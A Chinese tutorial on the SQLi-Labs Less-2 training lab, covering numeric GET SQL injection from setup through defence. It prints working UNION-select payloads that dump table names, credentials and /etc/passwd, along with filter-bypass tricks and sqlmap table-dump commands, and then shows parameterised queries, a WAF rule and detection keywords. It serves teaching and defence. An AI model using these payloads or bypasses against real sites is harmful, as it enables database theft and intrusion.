1. 漏洞环境概述
SQLi-Labs是一个专门用于学习SQL注入技术的开源靶场平台,其中Less-2是数字型GET注入的典型教学案例。这个实验模拟了网站URL参数未经过滤直接拼接到SQL查询语句中的场景,攻击者可以通过构造特殊参数值来操纵原始SQL查询逻辑。
数字型注入与字符型注入的核心区别在于:数字型参数不需要单引号包裹,而字符型参数需要。这使得数字型注入的检测和利用方式更为直接。在真实环境中,商品ID、文章序号等URL参数常存在此类漏洞。
2. 实验环境搭建
2.1 基础准备
需要预先安装:
- PHP 5.4+/7.0+运行环境
- MySQL 5.5+数据库服务
- Apache/Nginx Web服务器
下载SQLi-Labs项目后,将源码解压到Web服务器的根目录(如/var/www/html/)。修改sql-connections/db-creds.inc文件中的数据库连接信息:
php复制<?php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'your_password';
$dbname = 'security';
?>
2.2 数据库初始化
执行以下SQL创建必要的数据库结构:
sql复制CREATE DATABASE security;
USE security;
CREATE TABLE users (
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(20) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO users VALUES (1,'Dumb','Dumb'),(2,'Angelina','I-kill-you')...;
注意:实际练习时建议使用虚拟机或隔离环境,避免影响生产系统
3. 注入漏洞检测流程
3.1 初步探测
访问http://localhost/sqli-labs/Less-2/?id=1正常返回用户数据后,尝试以下测试:
-
追加单引号测试:
?id=1'- 字符型注入会报语法错误
- 数字型注入若无报错则可能是数字型
-
数学运算测试:
?id=2-1- 若返回与?id=1相同结果,确认数字型注入
-
布尔测试:
?id=1 and 1=1vs?id=1 and 1=2- 前者正常返回,后者无结果则存在注入
3.2 信息收集技术
通过报错信息获取数据库结构:
sql复制?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
关键payload说明:
-1确保原始查询无结果group_concat()合并多行结果information_schema系统数据库存储元数据
4. 完整利用过程
4.1 获取数据库版本
sql复制?id=-1 union select 1,version(),3--+
返回结果类似:5.7.26-0ubuntu0.18.04.1
4.2 爆破表结构
sql复制?id=-1 union select 1,column_name,3 from information_schema.columns where table_name='users'--+
典型返回:
code复制id, username, password
4.3 数据提取实战
获取管理员凭证:
sql复制?id=-1 union select 1,concat(username,':',password),3 from users where id=1--+
返回格式:Dumb:Dumb
4.4 文件系统操作(需高权限)
读取服务器文件:
sql复制?id=-1 union select 1,load_file('/etc/passwd'),3--+
5. 防御方案实现
5.1 参数化查询示例(PHP)
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']); // 'i'表示整数类型
$stmt->execute();
5.2 输入过滤规则
php复制$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);
if(false === $id) {
die("Invalid parameter");
}
5.3 WAF规则示例(ModSecurity)
code复制SecRule ARGS_GET:id "!@rx ^[0-9]+$" \
"id:1002,phase:2,deny,msg:'SQLi Attack Detected'"
6. 调试与问题排查
6.1 常见错误处理
- 空页面返回:检查SQL语法是否正确,特别是注释符
--+需要URL编码 - 列数不匹配:通过
order by确定列数:?id=1 order by 3--+ - 特殊字符过滤:尝试双重编码
%2527代替单引号
6.2 高级绕过技术
- 十六进制编码:
table_name=0x7573657273(users的hex) - 注释符变体:
#、-- -、/*!*/ - 字符串拼接:
concat('sel','ect')
7. 自动化工具实战
7.1 SQLmap基础使用
bash复制sqlmap -u "http://localhost/sqli-labs/Less-2/?id=1" --risk=3 --level=5
关键参数:
--dbs:枚举数据库--tables -D security:枚举指定库的表--dump -T users:导出表数据
7.2 结果分析技巧
关注这些关键信息:
- 注入类型识别结果(如boolean-based blind)
- 后端数据库类型(MySQL/PostgreSQL等)
- 可写目录路径(用于后续提权)
8. 企业级防护建议
8.1 安全开发生命周期
- 需求阶段:明确输入验证规范
- 开发阶段:使用ORM框架(如Eloquent)
- 测试阶段:DAST工具扫描(如Burp Suite)
- 运维阶段:RASP防护(如OpenRASP)
8.2 监控与响应
- 日志监控关键词:
union select、information_schema、load_file - 异常流量特征:短时间内大量404错误(探测攻击)
- 应急响应流程:立即重置数据库连接凭据